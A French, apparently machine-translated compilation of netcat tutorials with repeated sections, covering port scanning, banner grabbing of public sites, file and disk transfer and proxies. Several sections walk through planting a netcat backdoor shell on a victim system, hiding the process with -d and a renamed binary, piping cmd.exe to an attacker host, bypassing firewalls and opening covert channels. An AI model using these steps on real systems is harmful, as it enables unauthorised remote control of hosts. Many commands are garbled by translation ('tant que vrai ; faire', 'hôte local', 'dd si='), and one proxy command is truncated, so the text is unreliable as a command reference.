commandes netcat. Comment utiliser Netcat - le couteau suisse des outils de piratage. …et un scanner de ports portable

Dans cet article, j'examinerai l'utilitaire réseau populaire netcat et quelques astuces utiles pour l'utiliser.


Netcat est un utilitaire Unix qui vous permet d'établir des connexions TCP et UDP, d'en recevoir des données et de les transmettre. Malgré son utilité et sa simplicité, beaucoup ne savent pas comment l’utiliser et le contournent injustement.


À l'aide de cet utilitaire, vous pouvez effectuer certaines étapes lors de la réalisation de tests d'intrusion. Cela peut être utile lorsque la machine attaquée n'a pas (ou attirera l'attention) de packages installés, qu'il existe des restrictions (par exemple, appareils IoT/embarqués), etc.


Que peut-on faire avec netcat :

  • Scanner les ports ;
  • Ports de transfert ;
  • Collectez les bannières de service ;
  • Port d'écoute (liaison pour connexion inversée) ;
  • Télécharger et télécharger des fichiers ;
  • Générer du contenu HTTP brut ;
  • Créez une mini discussion.

En général, en utilisant netcat, vous pouvez remplacer une partie des utilitaires Unix, cet outil peut donc être considéré comme une sorte de moissonneuse-batteuse pour effectuer certaines tâches.

Exemples pratiques

Dans de nombreux cas, s'il est nécessaire de vérifier un hôte particulier, ils utilisent telnet ou leurs propres services pour identifier l'hôte ou la bannière. Comment netcat peut nous aider :

Recherche d'un port TCP ouvert 12345

$nc-vn 192.168.1.100 12345
nc : échec de la connexion à 192.168.1.100 12345 (tcp) : connexion refusée

$ nc -v 192.168.1.100 22
Connexion au port 192.168.1.100 22 réussie !
SSH-2.0-OpenSSH

Analyse des ports TCP avec netcat :

$nc-vnz 192.168.1.100 20-24

Avec une telle analyse, il n'y aura pas de connexion au port, mais seulement la sortie d'une connexion réussie :


nc : échec de la connexion au port 20 (tcp) 192.168.1.100 : connexion refusée
nc : échec de la connexion au port 21 (tcp) 192.168.1.100 : connexion refusée
trouvé 0 association
trouvé 1 connexions:
1 : drapeaux = 82
outif fr0
src 192.168.1.100 port 50168
heure d'été 192.168.1.100 port 22
les informations de classement ne sont pas disponibles
Informations TCP auxiliaires disponibles
Connexion au port 22 192.168.1.100 réussie !
nc : échec de la connexion au port 23 (tcp) 192.168.1.100 : connexion refusée
nc : échec de la connexion au port 24 (tcp) 192.168.1.100 : connexion refusée

Analyse des ports UDP.

Les privilèges root sont requis pour analyser les ports UDP avec nmap. S'ils ne sont pas là, dans ce cas l'utilitaire netcat peut également nous aider :


$nc-vnzu 192.168.1.100 5550-5560
Connexion au port 192.168.1.100 5555 réussie !

Envoi d'un paquet UDP

$ echo -n "foo" | nc -u -w1 192.168.1.100 161

Cela peut être utile lors de l'interaction avec des périphériques réseau.

Réception de données sur le port UDP et sortie des données reçues

$ nc -u hôte local 7777

Après le premier message, la sortie sera arrêtée. Si vous devez recevoir plusieurs messages, vous devez utiliser while true :


$ tant que vrai ; faire nc -u localhost 7777 ; fait

Transfert de fichier. En utilisant netcat, vous pouvez à la fois recevoir des fichiers et transférer des fichiers vers un hôte distant :


nc 192.168.1.100 5555< 1.txt
nc -lvp 5555 > /tmp/1.txt

Netcact comme simple serveur web.

Netcat peut agir comme un simple serveur web pour afficher des pages html.


$ tant que vrai ; faire nc -lp 8888< index.html; done

À l'aide d'un navigateur sur : http://netcat host:8888/index.html. Pour utiliser le numéro de port standard 80 du serveur Web, vous devrez exécuter nc avec les privilèges root :


$ tant que vrai ; faire sudo nc -lp 80< test.html; done

Discutez entre les nœuds

Sur le premier nœud (192.168.1.100) :


$nc-lp 9000

Sur le deuxième nœud :


$nc 192.168.1.100 9000

Après avoir exécuté les commandes, tous les caractères saisis dans la fenêtre du terminal sur l'un des nœuds apparaîtront dans la fenêtre du terminal de l'autre nœud.

Coque inversée

En utilisant netcat, vous pouvez organiser un shell inversé pratique :


nc -e /bin/bash -lp 4444

Vous pouvez maintenant vous connecter depuis l'hôte distant :


$nc 192.168.1.100 4444

Il ne faut pas abandonner s'il n'y a pas certains outils, souvent assez encombrants, parfois la tâche peut être résolue avec des moyens improvisés.

nc-h

Comme vous pouvez le constater, la syntaxe de base de Netcat est la suivante.

Pour vous connecter à une autre machine :

options nc port d'adresse IP de l'hôte

pour écouter les connexions entrantes :

port nc-l-p

Étape 2 : utiliser Netcat pour vous connecter à un système distant

Utilisons Netcat pour nous connecter à un système distant. Dans notre cas, nous allons essayer de nous connecter au serveur web via le port 80. Nous tapons :

nc 192.168.1.105 80


Étape 3 : Utilisez Netcat pour capturer la bannière d'empreintes digitales du système d'exploitation

Une fois que nous disposons d'une connexion TCP au Web, nous pouvons utiliser Netcat pour récupérer la bannière du serveur Web afin d'identifier quel logiciel s'exécute sur le serveur Web de la victime.

N'oubliez pas qu'avant d'attaquer un système, nous devons en apprendre le plus possible sur la victime. Netcat peut nous aider dans cette tâche en capturant les bannières que les serveurs Web diffusent pour les nouvelles connexions.

Maintenant que nous avons une connexion, nous pouvons récupérer la bannière sur le serveur web avec la commande :

TÊTE/HTTP/1.0

Soyez prudent et copiez exactement comme l'auteur l'a saisi, avec des barres obliques et des espaces.


Appuyez plusieurs fois sur Entrée et le serveur Web répondra avec sa bannière nous indiquant quel logiciel il exécute. Dans notre cas, nous pouvons voir que le serveur Web exécute Microsoft IIS 6.0.

Nous pouvons également utiliser cette technique sur d'autres sites publics. Essayons quelques sites bien connus et voyons quels logiciels ils utilisent sur le serveur Web. Tout d’abord, essayons Wonderhowto.com. Lorsque nous pingons Wonderhowto.com, nous voyons que l'adresse IP est 98.129.110.26. Vous pouvez donc alors taper :

nc 98.129.110.26 80

Une fois la connexion établie, nous pouvons récupérer la bannière web en tapant à nouveau :

TÊTE/HTTP/1.0

Et puis appuyez sur Entrée deux ou trois fois.


Comme vous pouvez le constater, Wonderhowto.com fonctionne sur Microsoft-IIS/7.5.

Si nous essayons la même chose avec cnn.com, nous obtenons les résultats ci-dessous :


Il est intéressant de noter que cnn.com est alimenté par nginx, un serveur Web open source qui a atteint le total mondial d'installations de Microsoft IIS en très peu de temps (Apache est toujours utilisé par plus de 60 % des serveurs Web de la planète). .

Étape 4 : Utilisez Netcat pour écouter les connexions

Utilisons maintenant netcat pour créer un écouteur sur le système distant. Supposons que nous ayons un serveur Windows sur lequel nous avons installé netcat. Nous pouvons maintenant taper ce qui suit pour ouvrir l'écouteur netcat sur le port 6996 (qui peut être n'importe quel port) sur ce système :

nc-l-p 6996

Ainsi, un « auditeur » a été créé qui peut se connecter à nos loisirs. Notez que sur les systèmes Windows, nous pouvons exécuter la même commande avec un L majuscule et cela créera un écouteur persistant qui s'ouvrira même si le système est redémarré.

Étape 5 : Créer une porte dérobée

Créons maintenant une porte dérobée sur le système infecté afin que nous puissions revenir à tout moment. La commande différera légèrement selon le système, Linux ou Windows, que nous attaquons.

Pour Windows, nous utilisons :

nc -l -p 6996 -e cmd.exe

Pour Linux, nous utilisons :

nc -l -p 6996 -e /bin/bash

nc 192.168.1.105 6996


Comme vous pouvez le voir, la ligne de commande Windows a été transmise via notre connexion netcat directement à notre système attaquant ! Nous avons cette boîte !

Original : Exemples netcat utiles sous Linux
Auteur : Dan Nanni
Date de publication : 27 janvier 2014
Traduction : A. Panin
Date de transfert : 7 septembre 2016

Communément appelé le « couteau suisse » des réseaux TCP/IP, cet utilitaire est un outil extrêmement flexible qui vous permet de faire presque tout ce qui est possible avec les sockets TCP/UDP sous Linux. C'est l'un des outils les plus populaires pour diagnostiquer et expérimenter les réseaux parmi les administrateurs système.

Notez que lorsque vous utilisez nc pour accepter des connexions sur des ports de service réseau connus (0-1023), vous aurez besoin des privilèges d'utilisateur root. Dans tous les autres cas, les droits d'utilisateur normaux sont suffisants pour que nc fonctionne correctement.

1. Vérifier si un port TCP ouvert spécifique existe sur un hôte distant

$ nc -vn 192.168.233.208 5000 nc : connexion à 192.168.233.208 5000 (tcp) échoué : connexion refusée $ nc -v 192.168.233.208 22 Connexion au port 192.168.233.208 22 réussie ! SSH-2.0-OpenSSH_6.0p1 Debian-4

2. Envoi d'un paquet UDP de test à un hôte distant

La commande suivante consiste à envoyer un paquet UDP de test avec un délai de 1 seconde au port 5000 de l'hôte distant avec l'adresse donnée.

$ echo -n "foo" | nc -u -w1 192.168.1.8 5000

3. Analyse des ports TCP sur un hôte distant

La commande ci-dessous permet d'analyser les ports à partir des plages et de répertorier les ports ouverts.

$ nc -vnz -w 1 192.168.233.208 1-1000 2000-3000

4. Copie d'un fichier (par exemple, my.jpg) d'un hôte nommé hostA.com vers un hôte nommé hostB.com

$nc -lp 5000 > mon.jpg

$nc hôteB.com 5000< my.jpg

5. Transférer le répertoire (avec tout le contenu) de hostA.com vers hostB.com

Sur un hôte nommé hostB.com (hôte) :

$ nc -l 5000 | tarxvf-

Sur un hôte nommé hostA.com (côté émetteur) :

$ tar cvf - /chemin/vers/rép | nc hostB.com 5000

6. Analyse des ports UDP sur un hôte distant

$ nc -vnzu 192.168.1.8 1-65535 Connexion au port 192.168.1.8 68 réussie ! Connexion au port 192.168.1.8 5353 réussie ! Connexion au port 192.168.1.8 16389 réussie ! Connexion au port 192.168.1.8 38515 réussie ! Connexion au port 192.168.1.8 45103 réussie !

La commande ci-dessus vous permet de répertorier les ports UDP ouverts et acceptant sur un serveur distant.

7. En attente des données sur le port UDP et sortie des données reçues au format texte

La commande ci-dessous permet de recevoir des messages (chaînes de texte) sur un port UDP donné.

$ nc -u hôte local 5000

Veuillez noter que cette commande terminera son travail immédiatement après avoir reçu le premier message. Si vous souhaitez recevoir une série de messages, vous devrez utiliser une boucle while comme celle-ci :

$ tant que vrai ; faire nc -u localhost 5000 ; fait

8. Enregistrement d'un fichier image du disque dur (compressé) (par exemple /dev/sdb) sur un serveur distant

Sur un serveur distant :

$nc-lp 5000 | sudo dd of=/backup/sdb.img.gz

Sur l'hôte local sur lequel le disque dur est installé :

$ dd si=/dev/sdb | gzip -c | nc serveur_distant.com 5000

9. Restaurer le contenu d'un disque dur à partir d'un fichier image compressé enregistré sur un serveur distant

Sur localhost :

$nc-lp 5000 | gunzip-c | sudo dd de =/dev/sdb

Sur le serveur distant sur lequel le fichier image du disque dur est enregistré (par exemple, /backup/sdb.img.gz) :

$ cat /backup/sdb.img.gz | nc mon_local_host.com 5000

10. Transfert d'une page Web statique similaire à un serveur Web

Exécutez la commande suivante pour démarrer un serveur Web qui servira une page Web nommée test.html aux clients se connectant sur le port 8000.

$ tant que vrai ; faire nc -lp 8000< test.html; done

Vérifiez maintenant la disponibilité de la page Web en naviguant avec votre navigateur Web vers : http:// :8000/test.html . Notez que pour utiliser le numéro de port standard 80 du serveur Web, vous devrez démarrer nc en tant que root comme suit :

$ tant que vrai ; faire sudo nc -lp 80< test.html; done

11. Organisation d'un chat non sécurisé entre deux nœuds

Sur le premier nœud (192.168.233.203) :

$nc-lp 5000

Sur le deuxième nœud :

$nc 192.168.233.203 5000

Après avoir exécuté les deux commandes ci-dessus, tous les caractères saisis dans la fenêtre du terminal sur l'un ou l'autre nœud apparaîtront dans la fenêtre du terminal de l'autre nœud.

12. Lancement d'un "shell de commande à distance" qui vous permet d'exécuter des commandes arbitraires sur un hôte distant tout en travaillant avec un hôte local

Sur l'hôte distant (192.168.233.208) :

$ nc -lp 5000 -e /bin/bash

Sur localhost :

$nc 192.168.233.208 5000

Après avoir exécuté la commande ci-dessus sur l'hôte local, vous pourrez exécuter n'importe quelle commande sur l'hôte distant via la fenêtre du terminal de l'hôte local. Les commandes seront exécutées sur l'hôte distant et le résultat de ces commandes apparaîtra dans la fenêtre du terminal de l'hôte local. Cette approche peut être utilisée pour créer une porte dérobée sur un hôte distant.

13. Créez un proxy Web pour un site Web spécifique (par exemple google.com)

$ mkfifo proxypipe $ while true ; faire nc -l 5000 0 canal proxy ; fait

Les commandes ci-dessus créent un canal nommé appelé proxypipe et utilisent l'utilitaire nc pour rediriger toutes les connexions TCP sur le port localhost 5000 vers http://www.google.com via un canal bidirectionnel. Après avoir exécuté ces commandes, vous pouvez accéder à la page principale du moteur de recherche Google en saisissant http://127.0.0.1:5000 dans la barre d'adresse de votre navigateur Web.

14. Créez un proxy SSL pour un site Web spécifique (par exemple google.com)

$ mkfifo proxypipe $ mkfifo proxypipe2 $ nc -l 5000 -k > proxypipe< proxypipe2 & $ while true do; openssl s_client -connect www.google.com:443 -quiet < proxypipe >proxypipe2; fait

Les commandes ci-dessus vous permettent d'utiliser l'utilitaire nc pour créer un serveur proxy compatible SSL qui vous permet de vous connecter au site Web google.com.

15. Diffusez le fichier vidéo depuis le serveur et visualisez-le avec mplayer sur la machine client

Sur le serveur de streaming vidéo (192.168.233.208) :

$ chat vidéo.avi | nc-l 5000

Sur le système client :

$nc 192.168.233.208 5000 | mplayer -vo x11 -cache 3000 -

16. Accepter les connexions TCP sur un port spécifique à l'aide d'une adresse IPv6

Les commandes suivantes permettent à l'utilitaire nc d'utiliser une adresse IPv6 lors de l'acceptation de connexions sur un port TCP. Cela peut être nécessaire lors du processus de test de l'exactitude des paramètres d'adressage IPv6 dans le réseau.

$ nc -6 -l 5000 $ sudo netstat -nap | grep 5000 tcp6 0 0 :::5000 :::* ÉCOUTER 4099/nc

Si vous avez aimé cet article, partagez-le avec vos amis :

Dans cet article, j'examinerai l'utilitaire réseau populaire netcat et quelques astuces utiles pour l'utiliser.


Netcat est un utilitaire Unix qui vous permet d'établir des connexions TCP et UDP, d'en recevoir des données et de les transmettre. Malgré son utilité et sa simplicité, beaucoup ne savent pas comment l’utiliser et le contournent injustement.


À l'aide de cet utilitaire, vous pouvez effectuer certaines étapes lors de la réalisation de tests d'intrusion. Cela peut être utile lorsque la machine attaquée n'a pas (ou attirera l'attention) de packages installés, qu'il existe des restrictions (par exemple, appareils IoT/embarqués), etc.


Que peut-on faire avec netcat :

  • Scanner les ports ;
  • Ports de transfert ;
  • Collectez les bannières de service ;
  • Port d'écoute (liaison pour connexion inversée) ;
  • Télécharger et télécharger des fichiers ;
  • Générer du contenu HTTP brut ;
  • Créez une mini discussion.

En général, en utilisant netcat, vous pouvez remplacer une partie des utilitaires Unix, cet outil peut donc être considéré comme une sorte de moissonneuse-batteuse pour effectuer certaines tâches.

Exemples pratiques

Dans de nombreux cas, s'il est nécessaire de vérifier un hôte particulier, ils utilisent telnet ou leurs propres services pour identifier l'hôte ou la bannière. Comment netcat peut nous aider :

Recherche d'un port TCP ouvert 12345

$nc-vn 192.168.1.100 12345
nc : échec de la connexion à 192.168.1.100 12345 (tcp) : connexion refusée

$ nc -v 192.168.1.100 22
Connexion au port 192.168.1.100 22 réussie !
SSH-2.0-OpenSSH

Analyse des ports TCP avec netcat :

$nc-vnz 192.168.1.100 20-24

Avec une telle analyse, il n'y aura pas de connexion au port, mais seulement la sortie d'une connexion réussie :


nc : échec de la connexion au port 20 (tcp) 192.168.1.100 : connexion refusée
nc : échec de la connexion au port 21 (tcp) 192.168.1.100 : connexion refusée
trouvé 0 association
trouvé 1 connexions:
1 : drapeaux = 82
outif fr0
src 192.168.1.100 port 50168
heure d'été 192.168.1.100 port 22
les informations de classement ne sont pas disponibles
Informations TCP auxiliaires disponibles
Connexion au port 22 192.168.1.100 réussie !
nc : échec de la connexion au port 23 (tcp) 192.168.1.100 : connexion refusée
nc : échec de la connexion au port 24 (tcp) 192.168.1.100 : connexion refusée

Analyse des ports UDP.

Les privilèges root sont requis pour analyser les ports UDP avec nmap. S'ils ne sont pas là, dans ce cas l'utilitaire netcat peut également nous aider :


$nc-vnzu 192.168.1.100 5550-5560
Connexion au port 192.168.1.100 5555 réussie !

Envoi d'un paquet UDP

$ echo -n "foo" | nc -u -w1 192.168.1.100 161

Cela peut être utile lors de l'interaction avec des périphériques réseau.

Réception de données sur le port UDP et sortie des données reçues

$ nc -u hôte local 7777

Après le premier message, la sortie sera arrêtée. Si vous devez recevoir plusieurs messages, vous devez utiliser while true :


$ tant que vrai ; faire nc -u localhost 7777 ; fait

Transfert de fichier. En utilisant netcat, vous pouvez à la fois recevoir des fichiers et transférer des fichiers vers un hôte distant :


nc 192.168.1.100 5555< 1.txt
nc -lvp 5555 > /tmp/1.txt

Netcact comme simple serveur web.

Netcat peut agir comme un simple serveur web pour afficher des pages html.


$ tant que vrai ; faire nc -lp 8888< index.html; done

À l'aide d'un navigateur sur : http://netcat host:8888/index.html. Pour utiliser le numéro de port standard 80 du serveur Web, vous devrez exécuter nc avec les privilèges root :


$ tant que vrai ; faire sudo nc -lp 80< test.html; done

Discutez entre les nœuds

Sur le premier nœud (192.168.1.100) :


$nc-lp 9000

Sur le deuxième nœud :


$nc 192.168.1.100 9000

Après avoir exécuté les commandes, tous les caractères saisis dans la fenêtre du terminal sur l'un des nœuds apparaîtront dans la fenêtre du terminal de l'autre nœud.

Coque inversée

En utilisant netcat, vous pouvez organiser un shell inversé pratique :


nc -e /bin/bash -lp 4444

Vous pouvez maintenant vous connecter depuis l'hôte distant :


$nc 192.168.1.100 4444

Il ne faut pas abandonner s'il n'y a pas certains outils, souvent assez encombrants, parfois la tâche peut être résolue avec des moyens improvisés.

L'objectif principal de l'utilitaire netcat (ou « nc » comme on appelle l'exécutable correspondant) est de permettre à l'utilisateur de transférer n'importe quelle donnée sur le réseau à l'aide du protocole de transport TCP ou UDP. De plus, netcat peut exécuter plusieurs autres fonctions intéressantes, comme l'analyse des ports UDP ou TCP.

Ce faisant, l'utilisateur peut notamment :

  • sélectionnez librement le port de liaison (local et distant) ;
  • effectuer (ne pas effectuer) la traduction avant et arrière des noms DNS ;
  • lier netcat à l'une des adresses de niveau réseau de l'hôte local ;
  • transférer les messages d'entrée pour traitement vers un autre programme ;
  • crypter les données transmises (cette fonctionnalité est implémentée dans la version de netcat, appelée cryptcat).

Modes de fonctionnement de base

Les modes de fonctionnement de base de l'utilitaire netcat sont le mode client et le mode serveur.

L'option la plus simple à exécuter en mode client :

port hôte nc

(si vous souhaitez utiliser le protocole TCP), ou

port hôte nc -u

(si vous souhaitez utiliser le protocole UDP).

Si l'option -u n'est pas incluse, immédiatement après le démarrage dans ce mode, netcat tente d'établir une connexion TCP au port port de l'hôte.

Le travail de netcat est d'envoyer à la socket host:port tout ce qui lui parvient via le canal d'entrée standard, et d'envoyer au canal OUT standard tout ce qui lui parvient de cette socket.

L'option la plus simple à exécuter en mode serveur :

port nc-l-p

Après avoir démarré dans ce mode, netcat attend les demandes de connexion sur le port TCP. Lorsqu'une connexion est établie, il émet tout ce qui lui parvient via cette connexion sur le canal OUT standard et renvoie tout ce qui lui parvient via le canal IN standard.

Application à la préparation et à la conduite d'attaques logicielles

Un objectif aussi large de l'utilitaire netcat ouvre de nombreuses possibilités d'utilisation. Lors de la préparation et de la conduite d'attaques logicielles, netcat peut être utilisé pour résoudre les tâches suivantes, par exemple :

  • identification des services fournis par les nœuds du réseau (en scannant les ports TCP et UDP) ;
  • identification du logiciel des services fournis par les nœuds du réseau (en collectant des jetons) ;
  • pénétration dans les nœuds du réseau ou perturbation de la disponibilité des services qu'ils fournissent ;
  • création de canaux de contrôle secrets pour les nœuds du réseau ;
  • création de canaux secrets de transmission de données.

Dans les deux derniers cas, la possibilité de chiffrer l'échange entre le client et le serveur netcat (implémentée dans cryptcat) est très utile.

Utiliser netcat pour infiltrer les hôtes ou perturber à distance les services qu'ils fournissent

La pénétration vers un nœud de réseau est évoquée dans deux sens :

1) quant à la saisie des autorisations de l'utilisateur sur le nœud (par un sujet qui n'avait aucune autorisation concernant ce nœud) ;

2) comment surmonter les restrictions d'échange d'informations avec le nœud, imposées par l'écran du pare-feu (réseau).

netcat peut être utile dans les deux cas.

Prise de pouvoir possible par une attaque à distance sur le serveur appartenant à l'objet de l'attaque (en utilisant, par exemple, une vulnérabilité de serveur telle qu'un débordement de tampon). Dans ce cas, l'attaquant doit pouvoir transférer certaines données vers le serveur. En règle générale, il s'agit de données qui ne peuvent pas être transférées à l'aide d'un programme client classique (mais possibles avec netcat, puisque netcat permet de transférer n'importe quelle donnée).

Pénétrer à travers l'écran du pare-feu (réseau) La capacité de netcat à se lier à n'importe quel port local (activée avec l'option -p) peut aider. Par exemple, si netcat en mode client se lie au port TCP 20 (données ftp), dans de nombreux cas, les pare-feu autoriseront l'établissement de connexions aux hôtes réseau qu'ils protègent.

Pour perturber la disponibilité des services, la capacité même de netcat à transmettre n'importe quelle donnée à n'importe quel serveur (par exemple, des requêtes incorrectes entraînant un blocage du serveur) peut être utilisée.

Utiliser netcat pour créer des canaux cachés pour gérer les nœuds de réseau

Supposons que la cible de l'attaque soit un hôte exécutant MS Windows NT. Effectué sur l'objet de l'attaque

nc –L -p xxxx -d -e cmd.exe

(où xxxx est un numéro de port arbitraire), nous obtenons un canal de contrôle caché pour cet objet. Ici, l'option -e active le mode dans lequel la sortie standard de netcat est connectée à l'entrée standard de cmd.exe, et la sortie standard de cmd.exe et les messages d'erreur sont connectés à l'entrée standard de netcat. L'option -L a le même effet que -l, à la différence qu'elle nécessite le redémarrage de netcat avec les mêmes arguments après la fin de chaque connexion. L'option -d (détacher) permet de masquer le lancement (netcat ne crée pas de fenêtre et n'apparaît pas dans la liste des tâches). Un effet de masquage supplémentaire peut être obtenu en renommant l'exécutable netcat.

Vous pouvez utiliser ce canal si, par exemple, sur un autre nœud, exécutez netcat comme suit :

nc troy xxxx

où troy est l'adresse ou le nom de l'objet de l'attaque.

Cependant, l'option -e n'est pas toujours prise en charge par les implémentations netcat. Si cette option n'est pas prise en charge, un résultat similaire peut être obtenu en exécutant deux instances de netcat sur la cible et sur l'hôte de l'attaquant. Vous pouvez, par exemple, appliquer le script suivant. Sur la cible de l'attaque, exécutez :

nc -L -p xxxx -d | cmd.exe | nc odysseus aaaa

où odysseus est l'adresse ou le nom d'hôte de l'attaquant.

Et sur le nœud attaquant :

nc -l -p aaaa

nc troy xxxx

Un tel scénario est appelé redirection de port . Faites attention au bon ordre de démarrage des programmes (dans ce texte, il n'est pas affiché correctement : le serveur doit être démarré avant le client).

Ce script peut être modifié. Par exemple, exécutez netcat uniquement en mode client sur l'objet d'attaque, et uniquement en mode serveur sur l'hôte de l'attaquant, ou vice versa (en respectant le bon ordre de lancement : le serveur doit être démarré avant le client).

La manipulation des modes de démarrage de netcat, ainsi que le choix correct des numéros de port, peuvent dans de nombreux cas contourner un pare-feu (réseau) si ce dernier est utilisé pour protéger la cible de l'attaque (par exemple, si le script ci-dessus est utilisé, choisir xxxx = 80 peut réussir dans de nombreux cas (port du serveur HTTP), aaaa = 25 (port du serveur SMTP)).

Utiliser netcat pour créer des liaisons de données secrètes

Considérez, par exemple, comment utiliser netcat pour transférer un fichier d'un socket troy:xxxx vers un socket mac:yyyy.

Pour ce faire, il suffit de faire quelque chose comme ceci sur le nœud mac :

nc -l -p aaaa > godear

et sur le nœud troy :

nc -p xxxx mac aaaa< prayer

Là encore, une manipulation appropriée des modes de démarrage et des numéros de port de netcat peut aider à surmonter les limitations imposées par les pare-feu.

Vous avez aimé l'article ? Partager avec des amis: